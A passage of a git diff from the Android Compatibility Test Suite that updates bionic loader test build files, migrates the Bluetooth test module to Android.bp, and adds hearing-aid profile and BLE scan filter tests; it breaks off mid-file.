+  public byte[] RepeatByteArray(byte[] in_value, byte[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public char[] RepeatCharArray(char[] in_value, char[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public int[] RepeatIntArray(int[] in_value, int[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public long[] RepeatLongArray(long[] in_value, long[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public float[] RepeatFloatArray(float[] in_value, float[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public double[] RepeatDoubleArray(double[] in_value, double[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public String[] RepeatStringArray(String[] in_value, String[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public RegularPolygon[] RepeatRegularPolygonArray(RegularPolygon[] in_value, RegularPolygon[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public boolean[] RepeatNullableBooleanArray(boolean[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public byte[] RepeatNullableByteArray(byte[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public char[] RepeatNullableCharArray(char[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public int[] RepeatNullableIntArray(int[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public long[] RepeatNullableLongArray(long[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public float[] RepeatNullableFloatArray(float[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public double[] RepeatNullableDoubleArray(double[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String[] RepeatNullableStringArray(String[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String[] DoubleRepeatNullableStringArray(String[] in_value, String[] repeated) {
+    if (in_value == null) {
+      return null; // can't do anything to repeated
+    }
+
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public int NewMethodThatReturns10() {
+    return 10;
+  }
+
+  @Override
+  public Foo repeatFoo(Foo inFoo) {
+    return inFoo;
+  }
+
+  @Override
+  public void renameFoo(Foo foo, String name) {
+    foo.a = name;
+  }
+
+  @Override
+  public void renameBar(Foo foo, String name) {
+    if (foo.d == null) {
+      foo.d = new Bar();
+    }
+    foo.d.a = name;
+  }
+
+  @Override
+  public int getF(Foo foo) {
+    return foo.f;
+  }
+
+}
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
index 13d499a..d933bbc 100644
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -1,10 +1,12 @@
 LOCAL_PATH := $(call my-dir)
 
 cts_bionic_tests_dir := lib32
+lib_or_lib64 := lib
 
 ifeq (true,$(TARGET_IS_64_BIT))
   ifeq (,$(cts_bionic_tests_2nd_arch_prefix))
     cts_bionic_tests_dir := lib64
+    lib_or_lib64 := lib64
   endif
 endif
 
@@ -16,6 +18,10 @@
   dt_runpath_b_c_x/libtest_dt_runpath_b.so \
   dt_runpath_b_c_x/libtest_dt_runpath_c.so \
   dt_runpath_b_c_x/libtest_dt_runpath_x.so \
+  dt_runpath_y/$(lib_or_lib64)/libtest_dt_runpath_y.so \
+  elftls_dlopen_ie_error_helper/elftls_dlopen_ie_error_helper \
+  exec_linker_helper/exec_linker_helper \
+  exec_linker_helper_lib.so \
   inaccessible_libs/libtestshared.so \
   inaccessible_libs/libtestshared.so \
   ld_config_test_helper/ld_config_test_helper \
@@ -33,10 +39,12 @@
   libdlext_test_different_soname.so \
   libdlext_test_fd/libdlext_test_fd.so \
   libdlext_test_norelro.so \
+  libdlext_test_recursive.so \
   libdlext_test_runpath_zip/libdlext_test_runpath_zip_zipaligned.zip \
   libdlext_test_zip/libdlext_test_zip.so \
   libdlext_test_zip/libdlext_test_zip_zipaligned.zip \
-  libelf-tls-library.so \
+  libsegment_gap_inner.so \
+  libsegment_gap_outer.so \
   libsysv-hash-table-library.so \
   libtest_atexit.so \
   libtest_check_order_dlsym.so \
@@ -72,7 +80,15 @@
   libtest_dlsym_from_this_grandchild.so \
   libtest_dlsym_weak_func.so \
   libtest_dt_runpath_d.so \
+  libtest_elftls_dynamic.so \
+  libtest_elftls_dynamic_filler_1.so \
+  libtest_elftls_dynamic_filler_2.so \
+  libtest_elftls_dynamic_filler_3.so \
+  libtest_elftls_shared_var.so \
+  libtest_elftls_shared_var_ie.so \
+  libtest_elftls_tprel.so \
   libtest_empty.so \
+  libtest_indirect_thread_local_dtor.so \
   libtest_init_fini_order_child.so \
   libtest_init_fini_order_grand_child.so \
   libtest_init_fini_order_root.so \
@@ -86,6 +102,7 @@
   libtest_relo_check_dt_needed_order_2.so \
   libtest_simple.so \
   libtest_thread_local_dtor.so \
+  libtest_thread_local_dtor2.so \
   libtest_two_parents_child.so \
   libtest_two_parents_parent1.so \
   libtest_two_parents_parent2.so \
@@ -154,9 +171,28 @@
     $(my_bionic_testlibs_src_dir)/$(lib):$(my_bionic_testlibs_out_dir)/$(lib))
 endif
 
+# Special casing for libtest_dt_runpath_y.so. Since we use the standard ARM CTS
+# to test ARM-on-x86 devices where ${LIB} is expanded to lib/arm, the lib
+# is installed to ./lib/arm as well as ./lib to make sure that the lib can be
+# found on any device.
+archname := $(TARGET_ARCH)
+ifneq (,$(cts_bionic_tests_2nd_arch_prefix))
+  archname := $(TARGET_2ND_ARCH)
+endif
+
+src := $(my_bionic_testlibs_src_dir)/dt_runpath_y/$(lib_or_lib64)/libtest_dt_runpath_y.so
+dst := $(my_bionic_testlibs_out_dir)/dt_runpath_y/$(lib_or_lib64)/$(archname)/libtest_dt_runpath_y.so
+
+LOCAL_COMPATIBILITY_SUPPORT_FILES += $(src):$(dst)
+
 my_bionic_testlib_files :=
 my_bionic_testlib_files_non_mips :=
 my_bionic_testlibs_src_dir :=
 my_bionic_testlibs_out_dir :=
 cts_bionic_tests_dir :=
 cts_bionic_tests_2nd_arch_prefix :=
+lib_or_lib64 :=
+archname :=
+src :=
+dst :=
+
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index e5d4340..fa95fe9 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -14,18 +14,22 @@
 LOCAL_SHARED_LIBRARIES += \
     ld-android \
     libdl \
+    libdl_android \
     libdl_preempt_test_1 \
     libdl_preempt_test_2 \
     libdl_test_df_1_global \
+    libtest_elftls_shared_var \
+    libtest_elftls_tprel \
 
 LOCAL_WHOLE_STATIC_LIBRARIES += \
     libBionicTests \
     libBionicLoaderTests \
+    libBionicElfTlsLoaderTests \
     libBionicCtsGtestMain \
 
 LOCAL_STATIC_LIBRARIES += \
     libbase \
-    libpagemap \
+    libmeminfo \
     libziparchive \
     libtinyxml2 \
     liblog \
@@ -39,6 +43,8 @@
     libLLVMCore \
     libLLVMSupport \
 
+LOCAL_SYSTEM_SHARED_LIBRARIES := libc.bootstrap libm.bootstrap libdl.bootstrap
+
 LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml
index f6d2b09..aa603de 100644
--- a/tests/tests/bionic/AndroidTest.xml
+++ b/tests/tests/bionic/AndroidTest.xml
@@ -16,13 +16,15 @@
 <configuration description="Config for CTS Bionic test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="bionic" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+
+    <!-- TODO(b/126376458): Remove this when sharding is supported by libgtest_isolated -->
+    <option name="not-shardable" value="true" />
+
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsBionicTestCases->/data/local/tmp/CtsBionicTestCases" />
-        <option name="append-bitness" value="true" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
         <option name="push" value="lib->/data/local/tmp/lib" />
         <option name="append-bitness" value="true" />
     </target_preparer>
diff --git a/tests/tests/bluetooth/Android.bp b/tests/tests/bluetooth/Android.bp
new file mode 100644
index 0000000..1d24127
--- /dev/null
+++ b/tests/tests/bluetooth/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBluetoothTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
deleted file mode 100644
index ab06e93..0000000
--- a/tests/tests/bluetooth/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBluetoothTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 45b05c1..efdcb92 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -20,6 +20,7 @@
     <uses-permission android:name="android.permission.BLUETOOTH" />
     <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index 1853741..bee4729 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -92,7 +92,7 @@
             TestUtils.enableLocation(getContext());
         }
         InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
-                "android.bluetooth.cts", android.Manifest.permission.ACCESS_COARSE_LOCATION);
+                "android.bluetooth.cts", android.Manifest.permission.ACCESS_FINE_LOCATION);
     }
 
     @Override
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
new file mode 100644
index 0000000..e94c3e7
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
@@ -0,0 +1,441 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothHearingAid;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+import android.util.Log;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Unit test cases for {@link BluetoothHearingAid}.
+ * <p>
+ * To run the test, use adb shell am instrument -e class 'android.bluetooth.HearingAidProfileTest'
+ * -w 'com.android.bluetooth.tests/android.bluetooth.BluetoothTestRunner'
+ */
+public class HearingAidProfileTest extends AndroidTestCase {
+    private static final String TAG = "HearingAidProfileTest";
+
+    private static final int WAIT_FOR_INTENT_TIMEOUT_MS = 10000; // ms to wait for intent callback
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+    // ADAPTER_ENABLE_TIMEOUT_MS = AdapterState.BLE_START_TIMEOUT_DELAY +
+    //                              AdapterState.BREDR_START_TIMEOUT_DELAY
+    private static final int ADAPTER_ENABLE_TIMEOUT_MS = 8000;
+    // ADAPTER_DISABLE_TIMEOUT_MS = AdapterState.BLE_STOP_TIMEOUT_DELAY +
+    //                                  AdapterState.BREDR_STOP_TIMEOUT_DELAY
+    private static final int ADAPTER_DISABLE_TIMEOUT_MS = 5000;
+
+    private boolean mIsHearingAidSupported;
+    private boolean mIsBleSupported;
+    private BluetoothHearingAid mService;
+    private BluetoothAdapter mBluetoothAdapter;
+    private BroadcastReceiver mIntentReceiver;
+
+    private BroadcastReceiver mAdapterIntentReceiver;
+
+    private Condition mConditionAdapterIsEnabled;
+    private ReentrantLock mAdapterStateEnablinglock;
+
+    private Condition mConditionAdapterIsDisabled;
+    private ReentrantLock mAdapterStateDisablinglock;
+    private boolean mAdapterOffSignalReceived;
+
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+    private boolean mIsProfileReady;
+
+    private static List<Integer> mValidConnectionStates = new ArrayList<Integer>(
+        Arrays.asList(BluetoothProfile.STATE_CONNECTING, BluetoothProfile.STATE_CONNECTED,
+                      BluetoothProfile.STATE_DISCONNECTED, BluetoothProfile.STATE_DISCONNECTING));
+
+    private List<BluetoothDevice> mIntentCallbackDeviceList;
+
+    public void setUp() throws Exception {
+        if (!isBleSupported()) return;
+        mIsBleSupported = true;
+
+        BluetoothManager manager = (BluetoothManager) mContext.getSystemService(
+                Context.BLUETOOTH_SERVICE);
+        mBluetoothAdapter = manager.getAdapter();
+
+        mAdapterStateEnablinglock = new ReentrantLock();
+        mConditionAdapterIsEnabled  = mAdapterStateEnablinglock.newCondition();
+        mAdapterStateDisablinglock = new ReentrantLock();
+        mConditionAdapterIsDisabled  = mAdapterStateDisablinglock.newCondition();
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected  = mProfileConnectedlock.newCondition();
+
+        mAdapterIntentReceiver = new AdapterIntentReceiver();
+        IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
+        mContext.registerReceiver(mAdapterIntentReceiver, filter);
+
+        if (!enableAdapter()) {
+            Log.e(TAG, "Unable to enable Bluetooth Adapter!");
+            assertTrue(mBluetoothAdapter.isEnabled());
+        }
+
+        mIsProfileReady = false;
+        mService = null;
+        mIsHearingAidSupported = mBluetoothAdapter.getProfileProxy(getContext(),
+                                                  new HearingAidsServiceListener(),
+                                                  BluetoothProfile.HEARING_AID);
+        if (!mIsHearingAidSupported) return;
+    }
+
+    @Override
+    public void tearDown() {
+        if (!mIsBleSupported) return;
+
+        if (!disableAdapter()) {
+            Log.e(TAG, "Unable to disable Bluetooth Adapter!");
+            assertTrue(mBluetoothAdapter.isEnabled());
+        }
+
+        mContext.unregisterReceiver(mAdapterIntentReceiver);
+    }
+
+    /**
+     * Basic test case to make sure that Hearing Aid Profile Proxy can connect.
+     */
+    @MediumTest
+    public void test_getProxyServiceConnect() {
+        if (!(mIsBleSupported && mIsHearingAidSupported)) return;
+
+        waitForProfileConnect();
+        assertTrue(mIsProfileReady);
+        assertNotNull(mService);
+    }
+
+    /**
+     * Basic test case to make sure that a fictional device is disconnected.
+     */
+    @MediumTest
+    public void test_getConnectionState() {
+        if (!(mIsBleSupported && mIsHearingAidSupported)) {
+            return;
+        }
+
+        waitForProfileConnect();
+        assertTrue(mIsProfileReady);
+        assertNotNull(mService);
+
+        // Create a dummy device
+        BluetoothDevice device = mBluetoothAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        assertNotNull(device);
+
+        int connectionState = mService.getConnectionState(device);
+        // Dummy device should be disconnected
+        assertEquals(connectionState, BluetoothProfile.STATE_DISCONNECTED);
+    }
+
+    /**
+     * Basic test case to get the list of connected Hearing Aid devices.
+     */
+    @MediumTest
+    public void test_getConnectedDevices() {
+        if (!(mIsBleSupported && mIsHearingAidSupported)) {
+            return;
+        }
+
+        waitForProfileConnect();
+        assertTrue(mIsProfileReady);
+        assertNotNull(mService);
+
+        List<BluetoothDevice> deviceList;
+
+        deviceList = mService.getConnectedDevices();
+        Log.d(TAG, "getConnectedDevices(): size=" + deviceList.size());
+        for (BluetoothDevice device : deviceList) {
+            int connectionState = mService.getConnectionState(device);
+            checkValidConnectionState(connectionState);
+        }
+    }
+
+    /**
+     * Basic test case to get the list of matching Hearing Aid devices for each of the 4 connection
+     * states.
+     */
+    @MediumTest
+    public void test_getDevicesMatchingConnectionStates() {
+        if (!(mIsBleSupported && mIsHearingAidSupported)) {
+            return;
+        }
+
+        waitForProfileConnect();
+        assertTrue(mIsProfileReady);
+        assertNotNull(mService);
+
+        for (int connectionState : mValidConnectionStates) {
+            List<BluetoothDevice> deviceList;
+
+            deviceList = mService.getDevicesMatchingConnectionStates(new int[]{connectionState});
+            assertNotNull(deviceList);
+            Log.d(TAG, "getDevicesMatchingConnectionStates(" + connectionState + "): size="
+                  + deviceList.size());
+            checkDeviceListAndStates(deviceList, connectionState);
+        }
+    }
+
+    /**
+     * Test case to make sure that if the connection changed intent is called, the parameters and
+     * device are correct.
+     */
+    @MediumTest
+    public void test_getConnectionStateChangedIntent() {
+        if (!(mIsBleSupported && mIsHearingAidSupported)) {
+            return;
+        }
+
+        waitForProfileConnect();
+        assertTrue(mIsProfileReady);
+        assertNotNull(mService);
+
+        // Find out how many Hearing Aid bonded devices
+        List<BluetoothDevice> bondedDeviceList = new ArrayList();
+        int numDevices = 0;
+        for (int connectionState : mValidConnectionStates) {
+            List<BluetoothDevice> deviceList;
+
+            deviceList = mService.getDevicesMatchingConnectionStates(new int[]{connectionState});
+            bondedDeviceList.addAll(deviceList);
+            numDevices += deviceList.size();
+        }
+
+        if (numDevices <= 0) return;
+        Log.d(TAG, "Number Hearing Aids devices bonded=" + numDevices);
+
+        mIntentCallbackDeviceList = new ArrayList();
+
+        // Set up the Connection State Changed receiver
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(BluetoothHearingAid.ACTION_CONNECTION_STATE_CHANGED);
+        mIntentReceiver = new HearingAidIntentReceiver();
+        mContext.registerReceiver(mIntentReceiver, filter);
+
+        Log.d(TAG, "test_getConnectionStateChangedIntent: disable adapter and wait");
+        assertTrue(disableAdapter());
+
+        Log.d(TAG, "test_getConnectionStateChangedIntent: enable adapter and wait");
+        assertTrue(enableAdapter());
+
+        int sanityCount = WAIT_FOR_INTENT_TIMEOUT_MS;
+        while ((numDevices != mIntentCallbackDeviceList.size()) && (sanityCount > 0)) {
+            final int SLEEP_QUANTUM_MS = 100;
+            sleep(SLEEP_QUANTUM_MS);
+            sanityCount -= SLEEP_QUANTUM_MS;
+        }
+
+        // Tear down
+        mContext.unregisterReceiver(mIntentReceiver);
+
+        Log.d(TAG, "test_getConnectionStateChangedIntent: number of bonded device="
+              + numDevices + ", mIntentCallbackDeviceList.size()="
+              + mIntentCallbackDeviceList.size());
+        for (BluetoothDevice device : mIntentCallbackDeviceList) {
+            assertTrue(bondedDeviceList.contains(device));
+        }
+    }
+
+    private class AdapterIntentReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(intent.getAction())) {
+                int previousState = intent.getIntExtra(BluetoothAdapter.EXTRA_PREVIOUS_STATE, -1);
+                int newState = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
+                Log.d(TAG, "Previous state: " + previousState + " New state: " + newState);
+
+                if (newState == BluetoothAdapter.STATE_ON) {
+                    mAdapterStateEnablinglock.lock();
+                    try {
+                        mConditionAdapterIsEnabled.signal();
+                    } finally {
+                        mAdapterStateEnablinglock.unlock();
+                    }
+                } else if (newState == BluetoothAdapter.STATE_OFF) {
+                    mAdapterStateDisablinglock.lock();
+                    mAdapterOffSignalReceived = true;
+                    try {
+                        mConditionAdapterIsDisabled.signal();
+                    } finally {
+                        mAdapterStateDisablinglock.unlock();
+                    }
+                }
+            }
+        }
+    }
+
+    // Enables the Bluetooth Adapter. Return true if it is already enabled or is enabled.
+    private boolean enableAdapter() {
+        if (mBluetoothAdapter.isEnabled()) return true;
+
+        mBluetoothAdapter.enable();
+        mAdapterStateEnablinglock.lock();
+        try {
+            // Wait for the Adapter to be enabled
+            while (!mBluetoothAdapter.isEnabled()) {
+                if (!mConditionAdapterIsEnabled.await(
+                    ADAPTER_ENABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for the Bluetooth Adapter enable");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch(InterruptedException e) {
+            Log.e(TAG, "enableAdapter: interrrupted");
+        } finally {
+            mAdapterStateEnablinglock.unlock();
+        }
+        if (!mBluetoothAdapter.isEnabled()) {
+            return false;
+        }
+        return true;
+    }
+
+    // Disable the Bluetooth Adapter. Return true if it is already disabled or is disabled.
+    private boolean disableAdapter() {
+        // Note: !mBluetoothAdapter.isEnabled() is not an accurate indication that the
+        // BluetoothAdapter is OFF.
+        mBluetoothAdapter.disable();
+        mAdapterOffSignalReceived = false;
+        mAdapterStateDisablinglock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mAdapterOffSignalReceived) {
+                if (!mConditionAdapterIsDisabled.await(
+                    ADAPTER_DISABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for the Bluetooth Adapter disable");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch(InterruptedException e) {
+            Log.e(TAG, "enableAdapter: interrrupted");
+        } finally {
+            mAdapterStateDisablinglock.unlock();
+        }
+        return mAdapterOffSignalReceived;
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                    PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch(InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class HearingAidsServiceListener
+            implements BluetoothProfile.ServiceListener {
+
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mService = (BluetoothHearingAid) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        public void onServiceDisconnected(int profile) {
+            mProfileConnectedlock.lock();
+            mIsProfileReady = false;
+            mService = null;
+            mProfileConnectedlock.unlock();
+        }
+    }
+
+    private class HearingAidIntentReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (BluetoothHearingAid.ACTION_CONNECTION_STATE_CHANGED.equals(intent.getAction())) {
+                int state = intent.getIntExtra(BluetoothProfile.EXTRA_STATE, -1);
+                int previousState = intent.getIntExtra(BluetoothProfile.EXTRA_PREVIOUS_STATE, -1);
+                BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
+
+                Log.d(TAG,"HearingAidIntentReceiver.onReceive: device=" + device
+                      + ", state=" + state + ", previousState=" + previousState);
+
+                checkValidConnectionState(state);
+                checkValidConnectionState(previousState);
+
+                mIntentCallbackDeviceList.add(device);
+            }
+        }
+    }
+
+    private void checkDeviceListAndStates(List<BluetoothDevice> deviceList, int connectionState) {
+        Log.d(TAG, "checkDeviceListAndStates(): size=" + deviceList.size()
+              + ", connectionState=" + connectionState);
+        for (BluetoothDevice device : deviceList) {
+            int deviceConnectionState = mService.getConnectionState(device);
+            assertEquals("Mismatched connection state for " + device,
+                         connectionState, deviceConnectionState);
+        }
+    }
+
+    private void checkValidConnectionState(int connectionState) {
+        assertTrue(mValidConnectionStates.contains(connectionState));
+    }
+
+    // Returns whether offloaded scan batching is supported.
+    private boolean isBleBatchScanSupported() {
+        return mBluetoothAdapter.isOffloadedScanBatchingSupported();
+    }
+
+    // Check if Bluetooth LE feature is supported on DUT.
+    private boolean isBleSupported() {
+        return getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_BLUETOOTH_LE);
+    }
+
+    private static void sleep(long t) {
+        try {
+            Thread.sleep(t);
+        } catch (InterruptedException e) {}
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java
index 1d78ebb..df1bb16 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java
@@ -52,6 +52,7 @@
                 0x02, 0x0A, (byte) 0xec, // tx power level
                 0x05, 0x16, 0x0b, 0x11, 0x50, 0x64, // service data
                 0x05, (byte) 0xff, (byte) 0xe0, 0x00, 0x02, 0x15, // manufacturer specific data
+                0x05, 0x14, 0x0c, 0x11, 0x0a, 0x11, // 16 bit service solicitation uuids
                 0x03, 0x50, 0x01, 0x02, // an unknown data type won't cause trouble
         };
 
@@ -118,6 +119,28 @@
     }
 
     @SmallTest
+    public void testsetServiceSolicitationUuidFilter() {
+        if (mFilterBuilder == null) return;
+
+        ScanFilter filter = mFilterBuilder.setServiceSolicitationUuid(
+                ParcelUuid.fromString(UUID1)).build();
+        assertEquals(UUID1, filter.getServiceSolicitationUuid().toString());
+        assertTrue("uuid filter fails", filter.matches(mScanResult));
+
+        filter = mFilterBuilder.setServiceSolicitationUuid(
+                ParcelUuid.fromString(UUID2)).build();
+        assertEquals(UUID2, filter.getServiceSolicitationUuid().toString());
+        assertFalse("uuid filter fails", filter.matches(mScanResult));
+
+        ParcelUuid mask = ParcelUuid.fromString("FFFFFFF0-FFFF-FFFF-FFFF-FFFFFFFFFFFF");
+        filter = mFilterBuilder
+                .setServiceSolicitationUuid(ParcelUuid.fromString(UUID3), mask)
+                .build();
+        assertEquals(mask.toString(), filter.getServiceSolicitationUuidMask().toString());
+        assertTrue("uuid filter fails", filter.matches(mScanResult));
+    }
+
+    @SmallTest
     public void testsetServiceDataFilter() {
         if (mFilterBuilder == null) return;
 
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java
index 30ad06f..0afd1ec 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java
@@ -38,14 +38,23 @@
                 0x02, 0x0A, (byte) 0xec, // tx power level
                 0x05, 0x16, 0x0b, 0x11, 0x50, 0x64, // service data
                 0x05, (byte) 0xff, (byte) 0xe0, 0x00, 0x02, 0x15, // manufacturer specific data
